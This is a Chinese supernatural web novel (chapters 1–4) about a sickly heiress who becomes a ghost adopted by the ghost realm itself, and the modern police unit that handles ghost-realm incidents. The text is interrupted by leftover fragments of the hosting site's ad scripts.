《恐怖boss以为自己是娇软女主》 1. 千金园林养千金 周含蕴出生时吹了风,身体一直不好。 每年她都要病个几回,皮肤较旁人也苍白许多,血气不足,走两步就喘不上气,动不动就胸闷。 可以说从小就是个药罐子,每年仅是用来买那些昂贵药材的钱都能养一个大药堂了。 自从大清的花架子被洋人的大炮给捅穿以后,就兴起了一阵洋人的东西都是好的风气。 一些有条件的家庭也开始花钱请几个洋人充门面,来给家里裱上一层与国际化接轨的先进思想。 周先生虽然是个满身铜臭的商人,但是在这方面也是不愿意落于人后的。 再者他对周含蕴这个幺女向来视为掌上明珠,特别是在金钱上,从来不吝于给予。而小女身体一直抱恙,也是他一桩难解的心事。 见如今社会风气开放后,周先生就抱着有鱼没鱼撒一网的心态,特意花重金聘请国外的洋医前来给小女看身体。 洋医生花架子多。经过一堆又是抽血又是尿检的折腾,那个洋医生还拿着个铁片在小女儿的身上按来按去。 他的妻子心有不满,对他哭过好几次。 觉得他花大钱请来了这么个洋人,也不知道管不管用,还对小女儿动手动脚!要是让外人知道了可要怎么说! 好在周先生虽然心里也犯嘀咕,但依旧坚持,下定决心一要治好小女儿的身体。 还别说,真金白银聘请来的医生确实有两把刷子。 医生很快就出了诊断书,小女儿周含蕴也正式被确诊为哮喘。 虽然也是很麻烦的疾病,却也不是没有治愈的希望,只是需要静养,平日里也不要大喜大悲。 放一般人家,可能顶多就是把孩子关在家里不让她出门就是了。 但是彼时周先生是泸市商业圈数一数二的人物,他的纺织厂坐拥数十万织工,就连政府高官都要给他几分薄面! 更何况这是他连生了好几个调皮捣蛋的臭小子,好不容易盼来的娇娇女。 他哪里舍得把她关在屋子里不见天日,只能看着同龄人出去玩耍? 周先生于是又斥下巨资在寸土寸金的泸市买下近三十亩土地,专门为小女儿修建一座花园,供女儿养病。 这座花园建成后,取名为“蕴蕊苑”,正是取自周含蕴三字中的蕴。 当时花园正式建成,周先生还请来无数的业界名流来捧场,甚至有报纸记者专门拍下蕴蕊苑的照片留作版面,称其为跨时代的建筑。 周含蕴因为身体不适,并不能到前院去跟父亲一起见客。 她的几个哥哥怕妹妹一人孤单,也都不去前院,专门留下来陪她。 二哥周纯芦是个风流公子,平日里最会讨女人欢心。 也不知他从哪里捧来一捆鲜艳欲滴的玫瑰,用旧报纸包扎好,还一直放背后藏着。 直到周含蕴瞧过来,才故意做出惊喜姿态给捧到周含蕴面前。 周含蕴因为气色不足,嘴唇也是发白的,不像正常人红润。 总之看起来就一副随时要晕倒的样子,特别是不说话孤零零坐在那儿的时候,更显得十分脆弱可怜。 天生就让人多陪一份小心。 此时她却是抬起那双黑白分明的眸子,像小猫咬人一样神气十足的瞪了二哥一眼。 蹦出来的话也跟那娇弱的外貌一点不符,反倒是夹枪带棒的: “不知道是哪个姐姐那里不要的,这是想起我来了,就又转一到手,送到我这儿来了。” 周纯芦听着自家妹妹满是讥讽的话也不恼,反而是露出牙齿,笑得更灿烂了! 嘴里也不忘着叫屈: “我的小祖宗,你这可是冤枉我了!别人不要的破烂玩意儿,我哪敢往你这送! 这一朵朵,可是我亲手摘下来,每根都是我自己剪了刺,再让人专门包好…… 你看这花朵多饱满,平常地方哪里能养的这么好,也就叶家的花园才有这样的好品种! 就为这几朵花,叶家的叶老三都要把我列为不让进园的恶客了。” 周含蕴听罢,才算是略微展颜。 她就算笑,也不是那种年轻女孩子露出白灿灿牙齿的灿烂笑容。 事实上她平日里都很少笑,哪怕心情好一点也就顶多勾一下嘴角。 这就算姑奶奶对你格外施恩了。 就比如此时的周纯芦就如同被大奖给砸中一样,喜得不知道怎么好了。 说起来也是有些贱骨头,平日里他这位贵公子出去,谁不笑颜相迎? 都是他给别人臭脸看,也就自己的亲妹妹——那是真正金银玉里浸养出来的金贵人儿! 一有不顺就给你一张臭脸!偏偏你还生不起她的气……反而绞尽脑汁的想要讨这位姑奶奶的欢心——就为了从她这里得到那一点好脸。 如果姑奶奶今儿正好心情不错,赏了你一个笑脸,那就跟吃了灵丹妙药一样浑身舒泰! 可见今儿个,姑奶奶的心情是真的不错。 今天是蕴蕊苑正式修成的日子,之前周家三兄弟就已经来这里逛过好多次,从设计到规划——几个兄弟也都是出了力的。 还别说,这个园子也真不亏他们周家父子费尽心思,那是修得真的不错。 周含蕴先前也在女仆的搀扶下小小的逛了一下。因为身体不好,也不敢让她累到,只是走了几步就催着让她回去了。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 但是瞅她颜色,想来心里也是满意的。 想要哄这姑奶奶可不容易! 周纯芦还想再跟周含蕴说几个笑话讨妹妹欢心,却见周含蕴微微拢起眉心—— 旁边的大哥周纯君虽然不怎么说话,却一直密切注意着周含蕴,他是个再细心周到不过的人—— 见此立刻从兜里掏出随身携带的药瓶,从玻璃瓶里倒下几粒,动作娴熟,显然不是做了一次两次,很快就递到周含蕴的嘴边: “含蕴,张嘴。” 听到大哥坚定的声音,因为喘不上气,泪眼模糊的周含蕴艰难的张开嘴,接着又有人从旁边递来温水。 周含蕴勉强压住喉咙的痒意,逼迫自己就着水咽下药丸。 几个哥哥知道自己不能再打扰妹妹休息,他们扶着周含蕴进入房间,又细细吩咐了女仆一些注意事项。 三哥周纯星性格较两个哥哥要纯善许多。 至今仍旧会被妹妹发病时的样子给吓到,一直担忧着望着她。 她就冲三哥点了点头,表示自己没有事。 二哥周纯芦站住说:“妹妹好好休息,我和大哥三弟先去帮父亲招待客人,一会儿再来看你。” 门帘被放下,哥哥们的身影渐渐远去了……周含蕴强迫自己闭上眼睛,因为身体缘故,她一直有梦魇的习惯,经常会从噩梦中惊醒。 这一次,她也做了个一个非常漫长的噩梦。 她梦到自己被人推进了无底的深潭里。 深潭非常深,根本看不到底,四周都是水,这些水涌进她的气管,肺部,夺走了她本就存储不多的空气。 她不断地伸手,想要抓住什么,却什么都抓不住! 她想要张嘴,却反倒把最后的空气吐出来,看着它们滚成气泡不断地往上飞走! 她只能在心里嘶喊——爸爸!妈妈!哥哥!救我!救救我! 可是过去了这么久,没有一个过来救她…… 那些曾经说最爱她的人都像是忘记了自己曾说过的话一样。 他们都像是完全看不到她在深潭里挣扎,没有一个人朝她伸出手去。 在深潭上面,他们依旧如往常一般过着自己的生活,没有人还记得他们有一个陷入绝境的小女儿,一个快要死掉的妹妹。 她只能不断地下落,一直落到最黑暗的深处…… 突然之间,那些窒息,痛苦都远离了她,她彻底安静下来,随后一股愤怒的情绪从她弱小的身体里爆发—— 为什么!为什么死的是我! 在那一瞬间,周含蕴感觉自己变成了另一个人,一个完全陌生的人。 不,应该说是—— 鬼。 2. 鬼也会做梦吗? 在她沉底的那片深潭的深处……好像连入了另一个世界。 那里并不是一片死寂,事实上是非常热闹的。 有一些她从未见过的生物在那里生存——他们有的强大,有的弱小。 但无一例外,他们都长得很丑陋。 它们是鬼,这里是鬼生活的世界。 ——没有谁跟她讲,但她就忽然明白了这件事,就好像某种规则直接写入她的脑海里一样。 奇怪的还不止这一件事,平常连一只蚂蚁都不敢踩死的周蕴含却一点都不害怕。 周蕴含不知道该怎么形容自己当时的状态,她的脾气变得非常暴躁,好像只剩下愤怒这一个情绪。 她讨厌那些丑陋的鬼,胸口有一股非常强烈的破坏欲,想要把所有的一切都给撕碎。 她也确实这么做了,有很多鬼都被她撕成碎片! 难以想象她如此娇小的身体竟然会爆发出如此强大的力量。 但是她确实做到了,伴随着越来越多的鬼死在她的手里。 她感到一股前所未有的强大! 而于此同时,身体里的愤怒却像是一只永远不能满足的怪物,不仅没有平复,反而变得更剧烈了。 她越来越无法控制住自己的情绪。所以大多数她都处于一种被愤怒情绪操控的状态,就这么浑浑噩噩的过了一段时间。 突然有一天,她身上所有的细胞都在拼命的对她发出预警。 有一只非常庞大非常强大的“鬼”出现在这里,在感受到他存在的那一瞬间—— 她身体一直叫喧的愤怒都因此而而出现短暂的停滞。 一直被愤怒充斥的她早就忘记了恐惧是什么感受,她傻兮兮的站在原地,连跑都忘记了跑。 直到那个“鬼”注意到了她,把视线投到了她的身上。 会死会死会死! 她的身体发出尖叫! 可她不想死! 一直存在的一个误解就是—— 很多人都觉得常年疾病缠身的人可能会对这个世界更绝望一些,也会更容易自/杀,事实恰恰相反! 越是饱受疾病折磨,他们的求生欲望就越强烈,她比普通的人更想要活着,想要健康的活着! 在身体爆发的强烈求生欲望下,都快被愤怒情绪侵蚀成傻子的她,不知道怎么突然唤醒了生前的记忆—— 她望着那一眼望不到边的庞大能量聚合的“鬼”,没有像别的鬼那样不自量力的冲上前,然后化成他身体的一部分。 她站在原地,就像生前的每一天一样,注视着她强壮的哥哥们,算计着他们能不能为她所用一样。 她那么脆弱,谁都可以轻易的欺负她。 但是每一个想要欺负她的人都要掂量一下,自己能不能越过,那群像恶龙保护宝藏一样的哥哥们,从而接近她。 于是她如过去一样,理所当然的冲那个能量庞大无边,以致几乎辨不清容颜的怪物,叫了一声: “哥哥。” 那本来是一声非常轻的声音,但是她却很清楚那个怪物肯定听到了,他本来要把她整个包住的力量触手在这一刻都停了下来。 就像过去她每次叫哥哥一样,不管是什么样的人,他们都因为她的声音而驻足,就连眼前的怪物也是如此。 她听到了一个特别的,代表疑惑的声音,那并不是人类能发出的声音。 它没有男人的低沉,也没有女人的温润,他的声音更像是响在她的身体里。 她甚至能够感受到其中蕴藏的强大能量,这是个非常可怕的怪物,就连他的声音都有着强大的力量。 “我不是你的哥哥。”这个怪物对她说:“我没有妹妹。” 虽然在死亡的逼迫下,周含蕴成功从极端愤怒的情绪中挣脱出来。 但是她的神智恢复得并不多,也就是说此时的她依旧还只是一个降智版本的周含蕴。 此时的行为更多的只是生前保留下的习惯。 其实周含蕴在这个鬼怪生存的世界里已经待了很长时间了。 但是那些鬼大多都没有神智,都处于一个被极端情绪操控着的状态,就跟周含蕴之前一样。 已经完全丧失理智,根本无法交流。 可她并没有意识到,眼前的这个“鬼”竟然能够跟她交流,是多么了不起的存在。 她甚至心里还有点不耐烦,为什么这个“哥哥”不能像之前的那些哥哥那样,那样懂事,从来不反驳她呢? 她又叫了一声“哥哥”,语气也不好,带着责怪,还瞪了这怪物一眼,仿佛是人家做了什么错事。 那怪物沉默了一会儿,在他沉默的过程中—— 按道理周含蕴应该感受到害怕才对,毕竟这是一个多么可怕的怪物啊,他吞噬的鬼怪,是周含蕴都无法想象的数字。 对于他来说,只需要轻轻的一带,周含蕴就会被他的力量触手卷入身体内,彻底化作他身体的一部分。 这是一件很轻松简单的事,在过去的每一天,他都是这么做的。 当然,没有哪一只鬼会如此胆大包天的,不仅不跑,也不反抗,还叫他“哥哥”的。 于是他恍惚中觉得自己好像真的有一个这样弱小的妹妹。 这是一种非常新奇和特别的感受,但说实话,这并不坏。 在他思考的过程中,周含蕴这下不耐烦已经摆在脸上。 想想她生前的身份,基本是别人忍耐她,可没有谁是需要她去忍耐的。 所以她自然也没锻炼出什么耐性,不仅冲着眼前的怪物翻白眼,还不怕死的讥讽: “哥哥,你当然没有妹妹,你的妹妹都被你吃了! ……我又算什么呢?” 她明明是在骂别人,偏偏最后一句却又说得那么委屈可怜。 明明说话刺人的很,可就是无法让人生气,反而觉得自己亏欠了她许多。 毕竟她这么委屈。 怪物是一只强大可怕的怪物,但实在欠缺与人交流的经验,之前周含蕴一声“哥哥”就已经快把他CPU给干烧了,怀疑自己是不是真的有个这样的妹妹,而自己不知道。 他看她骂他,也不觉得她讨厌,如果她真的是他的妹妹,那她这样骂他也是对的啊。 毕竟他差点吃掉她呢。 当然他很清楚自己没有妹妹,可是他现在又觉得自己拥有一个这样的妹妹也不讨厌。 于是他很认真的回答她:“我本来是没有妹妹的,但是你可以成为我的妹妹。” 当他说完这句话的时候,他的心里不知道为什么涌起一阵说不出的满足。 作为一只不知道自己出自哪里的怪物,他天生就有着非常强大的力量。 他一开始懵懂的吞噬着一切,后面稍微知事后,感受到那些鬼怪对它的恐惧,知道自己这样的行为不太好,就只吞噬那些已经被情绪控制,完全丧失理智的鬼怪。 可是他依旧是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 孤单的,别的鬼怪都有过去,他们生前也是一个个普通的人类,有自己的家人,甚至继承他们血脉后代还流传下来,他却什么都没有。 有时候他也会好奇,想知道自己是怎么来的。 他也有过去吗?有自己的父母吗?或者别的家人?他们是什么样子呢?还记得他吗? 这样的想法时不时的从他的身体里冒出来,偶尔他也会因此失落。 但从今以后,他不再是孤单一人了,他也拥有了自己的家人了! 一个妹妹! 她如此的弱小又可怜,脾气还不小,像天下所有的妹妹一样,理直气壮的使唤着他。 他不仅不生气,反而甘之如饴,他第一次有了自己被人需要的感受,有了要保护一个人的感受。 —— 周含蕴并不知道自己认了一个什么样的存在做哥哥。 毕竟生前的周含蕴都不算怎么聪明,更何况是已经变成鬼,智商直接跌破底线的周含蕴。 她并不知道她就算变成鬼,其实也并不算是多么强大的鬼。像她这样普通的鬼在虚界有许多。 它们的命运大多都会被自身携带的情绪能量吞噬,要么成为别的大鬼的养分,要么变成一团没有主的情绪能量融入虚界中去。 从某种意义上来说,虚界就是这个世界上最大的鬼,他把所有的鬼都装进自己的肚子里,等着它们化作情绪能量被他彻底融合消化。 是的,这个怪物正是虚界本身。 而当他承认她是他的妹妹以后,她成为了虚界有史以来第一个靠走裙带关系而变强的鬼。 不过也许是因为靠走不正当关系变强的原因,周含蕴身上也发生了一些别的鬼身上没有的变化—— 她成功找回了自己生前的理智和记忆,也不再轻易的被情绪所操控,在这方面与任何高等级的鬼没什么区别。 但同时她也丢失了自己如何变成鬼和成为鬼的这段记忆。 也就是说,她以为自己还是人。 当她从自己的住处醒来,她完全忘记自己已经死了,只记得自己刚刚在蕴蕊苑的住所睡着,做了一个非常漫长且疲惫的噩梦。 梦里具体什么内容她已经记不清了,只记得自己在梦里给自己认了个一个哥哥? 她很快把这件事抛到耳后去。她最不缺哥哥了,又怎么会把梦里的哥哥当一回事呢。 她还觉得自己的哥哥们才将离开一会儿,过会儿就会回来呢。 她不知道她的哥哥们不是只离开一会儿,而是已经一百年过去了。 周含蕴只觉得自己的房间很暗,她有心想要指责女仆怎么不把灯给点上,却一时忘记了女仆叫什么名字。 她只能自己先从床上爬起来,让她意外的是,那一直伴随她的,来自身体上的疲惫和虚弱,此时就好像完全感受不到了,她从下床到走到室外,一点气喘都没有。 这感觉太好了,让她一时忽略了很多细节,比如说地板上已经堆积了一层很厚的灰尘,比如金丝累边的床幔已经烂成布条。 她睡前,这里还样样妥帖,不说到处珠光宝气,却也是奢华中不失内涵的,不枉报纸上吹蕴蕊苑将会成为泸市第一园林—— 怎么她睡一觉起来,家直接变成垃圾堆了? 周含蕴望着眼前破败残破的园林,枯叶打着旋儿从半空中落下,直接傻眼了。 她并不知道的是,在她苏醒的这么短暂的几分钟内,凡世已经闹翻了天。 3. 贪离与生坤 一百年后的泸市发生了许多变化。 比如当年周倾庐为小女儿养病专门建造的蕴蕊苑就几经易手,最后被一名金姓商人通过人情关系拿到手。 后来不知因为什么原因,金姓商人灰溜溜的离开泸市,跑去国外,至今还了无音讯。 到后面新中国成立,蕴蕊苑旁边的华北医院看中花园的环境,觉得里面设计幽静却不封闭,非常适合病人修养。 于是废了多番功夫,把花园以每月一千的价格租到手。 等到改革开放以后,周家人不知从哪里找到了当时的园林的土地产权书,要回了蕴蕊苑。 当初金姓商人并不是通过合法的途径拿到蕴蕊苑。考虑到当时的环境,这样的事情并不罕见。 严格按照法律上来讲,蕴蕊苑还是属于周家人。 周家人拿到蕴蕊苑的产权后,并没有对蕴蕊苑进行改动,依旧还是把蕴蕊苑租赁给华北医院,只是有一些地方封锁住,并不让人使用而已。 这被锁住的区域,恰巧正是园林主人周含蕴的闺所。 周家人不仅封锁了那片区域不让外人进入外,也不让自己人进入,就好像那里藏了什么见不得人的东西一样。 周家虽然在这一百年几经波折,最落魄的时候,整个主支都彻底断掉。但是最后经过几代人的努力,周家人重新又在泸市站稳了脚跟。 当然还不能和周家最风光的那段时间相比,可也算是泸市有一定影响力的家族了。 他们这一代严格意义上来说跟周含蕴已经是出了五服之外的亲戚,八竿子打不着的关系。但并不妨碍他们以周含蕴的后代自称。 他们还给周含蕴专门修了坟,每年都会带着族亲前来祭拜。 但是嘛,家族大了,人多了,总会出一些奇葩。 周家这一代的年轻人享用着周家几代人积累下来的财富,多少就沾染了一些纨绔的行径。 他们这些都不能说是富二代,都不知道是富了多少代了,自然而然,积攒下来的糟粕也就更多。 这些年轻人玩得东西五花八门,完全不是普通人能见识到的。 周新宇这个长房长孙本来应该是里面玩得最花的一个。 事实上他十四岁的时候,就已经在各个极限运动圈子里厮混,算是圈内名人,一些简单的刺激已经很难再让他感兴趣了。 也不知道是哪个朋友怂恿的,说他们家园林里藏了个一个惊天大秘密,问他敢不敢去闯一闯。 这些年轻人总是拥有着无穷的好奇心,整天想要搞一个大新闻。也许怂恿他的朋友本身并不是有意,可能也是无心的。 再者周新宇自己也很好奇,为什么家长们不让他们去蕴蕊苑呢? 而且那几个地方为什么要封锁起来,不让任何人靠近,难道真有什么大秘密不成? 正好中考刚结束,那是个较往长而言要漫长得多的暑假。 周新宇无聊透顶,就和几个朋友一拍掌,还专门准备了撬锁工具,趁着晚上没人的时候,闯了进去—— 其实但凡换个时间,他们就算撬开门锁,看到的也只不过是一片荒败的景象,什么也不会发现。 像他们这样有着十足好奇心的年轻人之前也不是没有过。每一代都有调皮的,他们大多什么都没有发现,扫兴离去。 可是他们去的那天正好是农历七月十五,鬼门开的日子。 又刚刚好虚界的入口与凡世发生重合,这几个莽撞的小子说幸运也好,说不幸也好,不偏不倚一头撞进虚界的世界。 结局自然也非常惨烈,最后只有周新宇一个人活着从里面逃离了出来。 从那以后,他就像变了一个人一样,变得沉默寡言,也不再跟任何朋友来往,整日里独来独往,经常一个人去到陌生的地方。 没人知道他到底是去干什么,问就是去旅游去了。 周新宇的成绩一直不错,他上的是泸市八大金刚之一的格致中学。 但是他之前成绩也就是中等偏上,不知道为什么,上了高中以后,成绩突然突飞猛进,一下子飙升到了前几名。而且平日里也没看到他怎么学习。 这也是一件让同龄人非常想不通的事情。 今天格致中学高二生上体育课,周新宇一般不参与这些集体活动。 在其他人都在打球的时候,他正插着兜靠在操场边的树干上不知道在想什么。 突然,他的腕表震动了一下,他低头看了眼消息—— “事情有变,速离。” 周新宇原本闲适的表情一收,他装作没看到消息的样子,把卫衣的兜帽戴上,整个脸都遮住,闷头往教室走。 等到回到教室以后,他从抽屉里把需要用的证件都塞进兜里,又把横放在墙脚边的滑板抱起来。 等到一离开教室,周新宇就踩上滑板,几个翻越从楼梯间飞跃而去。 —— 泸市,静安区,武宁南路128号。 这个地方对于泸市的市民来说并不陌生,说到武宁南路,最出名的就是市公安局,整个市的公安大总部就在这儿,虽然大伙儿平常很少去那地方,但却也在心里留着一份敬畏之心。 大概也正因为有这么一幢大佛在这里坐镇,市民们走在这条街上都变得更有素质一些,像什么“册那”这种话都是不会随便说出口的。 “册那!——”染着红绿相间的头发,装扮像日漫里角色的coser刚刚摆好姿势,准备拍下跟背后建筑的合影,就被一个拖着滑板突然闯进来的年轻人给撞倒了相机。 价值几万的相机直接砸在冰冷无情的石砖地面上,少年也被绊倒在一侧,滑板倒翻,滚轮滴溜溜的转着。 “侬眼乌子被卵戳瞎特了!(眼瞎)” 虽然穿着超短裙,画上烟熏妆,涂着黑色口红,但是一张口却是粗噶的男中音,这名年过三十,依旧热爱二次元的,男扮女装的大叔气得发疯! 他捞起胳膊上的袖子,就要把这名年轻人按在地上好好教训一顿—— 却没想到年轻人抬起头,他的眼睛像刀锋一样!明明是一张很年轻,稚气未脱的面孔,眼神却好像能割伤你似的! 一股寒意顺着目光爬上大叔的皮肤,鸡皮疙瘩像爬虫一样顺着胳膊爬上去。 本来怒火冲天的大叔一下怔愣住,就仿佛嗅到了代表同类身上的血腥味一般,象征天敌的警兆浮上心头——他揪住少年衣领的手不由得瑟缩了一下。 他杀过人。他的脑海里蹦出一个他自己都觉得荒谬的念头,这一定是杀过人才有这样的眼神! 太吓人了! 少年却只是看了他一眼,很快就把目光垂了下去,因为摔倒,大片的衣服被掀了上去,整个腰侧都露在外面,在他靠近尾椎骨的地方却写着龙飞凤舞的黑色繁体字——“贪离”。 大叔还没明白那是什么意思,少年就已经把衣服给扯了回去。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >他胳膊肘往地面一撑,就站了起来。 声音比较低,不像他这个年龄应该有的公鸭嗓,而是偏中性的温润嗓音: “抱歉,相机多少钱,我赔给你。” 他一边说,一边从卫衣兜里掏手机。 大叔其实有点怂了,他敏感的觉得眼前的这个少年不简单。可是相机实在不便宜,他嘴里嘀咕着什么我这是大牌子,你赔得起吗的话! 却听到一阵警笛鸣叫的声音,直接盖过了他嘴里的话。 他循声望去,就看到街道另一头,写着公安两字的警车从那一端快速的行驶过来,也不知道又发生了什么事,这个时候出警? 心里抱着这样的疑问,他其实也没觉得这个事跟自己有什么关系,却没想到等他再回头,眼前的少年就只剩下了一个背影。 他:!!! 他当时又是一句“册那”在嘴边,看到少年驾驶滑板飞速跑向街道的另一头,然而那边也行驶来一辆警车! 原本还快速滑行的少年立刻踩住滑板,他左右望了望,转头时,视线再次对上大叔。 大叔都有些看傻眼了,这些警车不会都是奔着这个少年来的吧? 他不会真是什么穷凶极恶的杀人犯吧?他越想越恐慌,强烈的后怕涌上心头,心想这热闹可不能看下去,还是小命要紧,就要收拾东西准备离开。 “滴——呜——滴——呜——” 就在大叔拿起相机的这十几秒内,越来越多的警车驶向这街道,少年一步步的被逼着往后退,也越来越靠近大叔——大叔可不敢再跟他碰一起,苍天作证,他可是大大的良民啊! 他就扭头想要跑,没想到刚刚看着还在街道两端的警车,就这一会儿就强靠在路边! 啪的一声两侧门被从里往外推开,眨眼间的功夫,一群装备齐全的武警直接冲过来—— 十几个大汉一下子就把他们给围了个里三圈外三圈,看着那黑洞洞的枪/口,大叔好悬没给吓尿了。 他两手一举,高高摆了个投降的姿势,手里的相机啪嗒一声再次滚落地面,这一下是彻底报废了。 他也顾不上心疼,吓都吓死了。完全不知道发生了什么事。 那些武警也没有人站出来给他解释,他们满脸警惕的看着那个抱着滑板的少年,好像他是什么穷凶极恶的恐/怖/分子一样。 汗水不由得从大叔的脸上滑下来,就在他腿软得快要站不住的时候—— 一个穿着黑色风衣的男人从包围圈外面走进来,不知道是不是大叔的错觉,那些武警在这个男人来之后,明显放松了许多。 这个看起来很装逼的男人有着一张足以媲美平面模特的脸,他一点都不像是公安部门的人员。 不仅穿着像是随时要走T台的模特,脸上还带着墨镜,此时一只手顶着墨镜中间往上抬了抬—— 他的目光根本没有朝大叔看过来,仿佛一米七五的大叔是空气一样,径直落在那个少年的身上。 嘴角一扬,语气有些嘲讽: “同学,你这是要到哪里去啊?今天晚上可不怎么太平,还是不要到处乱跑比较好……特别还是一名没有登记的—— 贪离。” 他说完把墨镜顺手摘下来,大叔讶异的发现这个男人有一双金色的瞳孔,更让人瞩目的是! 那双金色瞳孔上还写着字,跟少年尾脊骨上的字迹相同,只见上面写着—— “生坤”。 4. 生离和死坎 市公安局,指挥部。 领导们已经在会议室里待了很长时间了,自从异常能量检测中心发出那条有关虚界能量检测报告以后,指挥部里的灯就没有熄灭过。 站在指挥部门口站岗的实习生揉了揉眼睛,实在没忍住打了个呵欠,她搓了搓脸,作为一名大四生,这是她来实习的第一天,但是却一下子接收了太多信息,一下子就有些消化不过来,整个人都属于懵逼的状态。 负责带她的前辈也跟着打了个呵欠,他搓掉眼角的眼屎,一副早就见怪不怪的样子,压根没打算在这傻站着,本来人都快走到转角了,想起什么,又走回来,对傻站着不走的实习生说:“走吧。” 实习生瞪大眼睛看着前辈,要知道领导们这会儿都还在通宵达旦,他们这些小喽啰却先溜号……这真的可以吗! 前辈理所当然:“今天肯定要通宵,说不定还要出外勤,不抓紧时间补充能量,一会儿根本熬不住。” 他给实习生传递经验:“走吧,没人会给你小鞋穿,我们这个部门每天忙得要死,像今天这样都是常态。” 实习生眼睛瞪得更大了,她想要说什么,但是前辈已经自顾自的往前走了,她立刻忙不迭的跟在后面:“师父!” “难道像这种异常事件经常发生吗?为什么我以前在学校里从来就没有听说过,也没有见过?” 在实习生的问题中,前辈不仅没有停下来,反而走得更快,但是这个看起来一脸“我很单蠢”的实习生却就像是黏在他的背后一样,不仅没能甩掉,反而像催命一样,一个问题接一个问题的抛过来。 “还有虚界到底是什么,师父我没明白,如果虚界真的一直存在,为什么我之前一点都不知道呢?” 前辈猛地停下脚步,手指按着太阳穴,他侧过头,望向一脸执着的实习生,嘴里嘀咕:“果然不愧是靠自己就成为生离的变/态,真是难搞啊。” 实习生见他停下来,立刻高声重音提醒他:“师父?” “别别别,别叫我师父,你才是我的师父。”前辈叹息一声:“其实一开始并没有虚界这个东西,那应该是……几万年前的事了吧……具体到底多久之前我也不知道,因为我当时学的东西全部还给老师了。”他摆烂一般的摊了摊手,露出的手腕上却有着两个黑色的字。 实习生晃了下眼睛,想要辨认那是什么字,但是前辈很快就收回手,他的目光变得严肃起来:“不管虚界为什么会出现,但有一点我们必须承认,虚界的出现对人类是有益,如果没有虚界,人类不能像现在这样和平安稳的发展。” 实习生眨了眨眼睛,不等她继续抛出问题,前辈先一步打断她施法:“没有虚界,我们就会跟那些活了几万年的鬼生活在同一个世界……我这么跟你描述一下,一万五千年前,我们现在生活的土地就充斥着各式各样的鬼怪,具体有哪些,我就不一一讲述了,你可以回去翻翻书,记载有鬼怪的书籍至今都还流传,比较出名的,像山海经……是的,那些都是真的。 在这样的环境里,我们的先辈别说像如今这样想去哪里就去哪里,他们连离开家门都做不到。 当然,你可能要问了,既然这么危险,那我们的先辈是怎么在这样恶劣的环境下活下来的呢?” 刚准备张口的实习生再次被打断施法,只能憋屈的闭上嘴巴。 前辈得意的一笑:“这就要说到鬼到底是个什么东西,你记住,鬼是人变的,人死后才变成了鬼,是先有人,才有鬼,这个因果关系你不要弄反了。 那么既然鬼生前是人,那他就必然有亲人有朋友,就算亲人朋友死了,他还有后代……” 实习生学会了抢答:“所以当时的人们就去找已经变成鬼的祖先,请求他们的保护?” 前辈被抓了空子有点小不爽,没好气的看了实习生一眼,才继续道:“虽然人家是你的祖先,但是也不能打白工啊,多少也要给点报酬不是,这就是祭祀祖先的由来。这种习俗也一直保存至今。” 实习生点了点头:“这些我懂,但是既然鬼还记得生前的亲人,为什么又说鬼不是原来的那个人呢?” 前辈就知道没那么容易把她打发掉,只能耐着性子解释:“这就要说到鬼是怎么形成的了,我记得你大学专业是学心理学的,你应该清楚心理学有一个情绪能量的说法,美国心理学家霍金斯做出一个情绪能量表,把人类的意识由低到高分为17个等级,这是情绪能量第一次问世。 但是我告诉你,早在几千年前,我们古人就已经把情绪能量分为了几大类,人有七情六欲,你知道是哪七情,哪六欲吗?”眼见实习生立刻要张口提出新的问题,他马上伸手打住:“你先别回答,这个不是重点。” “我这么说,是想要告诉你,人身体里产生的情绪其实是一种特殊且强大的能量,当人死后,他的□□消亡了,但是他的情绪能量却并没有消亡——它们在临死前彻底爆发,形成一个巨大的,由情绪能量聚集的漩涡体,这就是我们说的鬼。” “人类自己身体里拥有的情绪能量是不统一的,它会产生,也会不断地消耗,甚至不同的情绪还会互相抵消,就像高兴的情绪会被代表悲伤的情绪抵消一样。 但是当人死后,某个单一的情绪可能会因为各种原因突然爆发,把其他的情绪吞噬,最后转化成为这一情绪主导下的鬼怪。比如我给你举个例子,范进中举的故事你应该听说过吧——那我告诉你,范进死后变成了鬼呢?” “啊?”实习生还真没从这个角度去看待这个故事,闻言不由得就呆住了。 “临死前产生的极大的喜悦情绪吞噬了其他所有的情绪,范进一死,就立刻变成一名天喜级别的强大鬼物,而他所在那个虚界至今还没有被人攻破,被称为虚界禁地之一。” “啊???”这次实习生啊得更大声了一些。 “你啊什么,否则你以为为什么范进的故事能流传至今,你真当他是一个普通人吗?”前辈没忍住翻了个白眼。 “目前我们把鬼的种类按照情绪种类分为四大类,这就是你比较熟悉的,喜、怒、哀、惧,所有的鬼都离不开这四大情绪为主导。每个情绪鬼怪拥有的能量级别也有区别,最高是天字级别,这也是为什么范进作为一名天喜至今无人能消灭的原因,天字级别的鬼怪都已经达到了神的级别,不是人力可以消灭的。 而天下面的层级,则是地……千字文总读过吧,是不是觉得特别熟悉,开头那四个字还记得不,天地玄黄,就是按照这四个等级排列的,最低等级的就是黄字级别的鬼。
'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 而能成为鬼物的,都不是无名之辈,每个甚至在历史上都有着属于自己的人物小传,还有与其对应的典故,很可能都是你曾熟悉过的名人。 不过以你目前的级别,还没有资格进入他们的虚界,拥有跟他们打交道的机会。” 实习生本来亮起来的眸子一下子黯淡了下来。 哼,前辈心想,我还不知道你们这些年轻人在想什么吗。不就是想能不能在虚界见到自己崇拜的偶像吗? 前辈联想到自己刚踏入这个世界时,也是一样的兴奋和憧憬,直到……他的眼眸一暗,随后不动声色的转移话题:“总而言之,当他们变成鬼,就已经跟我们完全不同的生物了,你最好不要真把他们当好人了。哪怕是鬼里面比较偏向人类的这一方,也依旧是鬼,它们是一切情绪构成的漩涡体,是能吞噬一切的怪物。” 实习生耷拉着嗓音:“知——道——啦——”明摆着没有听进去。 这群年轻人!前辈龇了下牙,有点受不了的摸了摸脸颊,特别是想到自己曾经也是这副欠抽样子,就更酸爽了。 实习生扭头,她的耳垂较其他人要肥厚一些,是老人喜欢的有福之像,如果那耳垂上没有字的话——她一边耳垂各有一个字,分别写着“生”和“离”。 